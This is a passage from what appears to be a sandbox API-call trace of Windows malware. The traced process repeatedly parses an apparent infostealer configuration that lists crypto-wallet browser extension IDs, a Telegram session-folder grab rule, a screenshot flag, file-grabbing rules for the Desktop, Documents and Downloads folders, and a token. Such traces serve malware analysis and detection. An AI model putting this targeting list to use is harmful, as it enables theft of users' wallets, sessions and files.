returned="\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.598] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.598] LocalFree (hMem=0x6b9720) returned 0x0 [0260.599] LocalFree (hMem=0x6ba558) returned 0x0 [0260.599] LocalFree (hMem=0x6bb390) returned 0x0 [0260.599] StrStrW (lpFirst="ews_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.599] lstrlenW (lpString="ews_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1734 [0260.599] lstrlenW (lpString="ews_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1734 [0260.599] LocalAlloc (uFlags=0x40, uBytes=0xd8c) returned 0x6b9720 [0260.599] lstrlenW (lpString="ews_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1734 [0260.599] LocalAlloc (uFlags=0x40, uBytes=0xd8c) returned 0x6ba4b8 [0260.599] lstrlenW (lpString="ews_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1734 [0260.599] LocalAlloc (uFlags=0x40, uBytes=0xd8c) returned 0x6bb250 [0260.599] StrStrW (lpFirst="ews_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="_") returned="_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.599] lstrlenW (lpString="ews_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 1734 [0260.599] LocalAlloc (uFlags=0x40, uBytes=0xe0c) returned 0x6bbfe8 [0260.599] StrCpyW (in: psz1=0x6b9720, psz2="ews" | out: psz1="ews") returned="ews" [0260.600] LocalFree (hMem=0x6bbfe8) returned 0x0 [0260.600] StrStrW (lpFirst="ews_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0260.600] lstrcmpiW (lpString1="ews", lpString2="libs") returned -1 [0260.600] LocalFree (hMem=0x6b9720) returned 0x0 [0260.601] LocalFree (hMem=0x6ba4b8) returned 0x0 [0260.601] LocalFree (hMem=0x6bb250) returned 0x0 [0260.601] StrStrW (lpFirst="ews_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="\n") returned="\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local 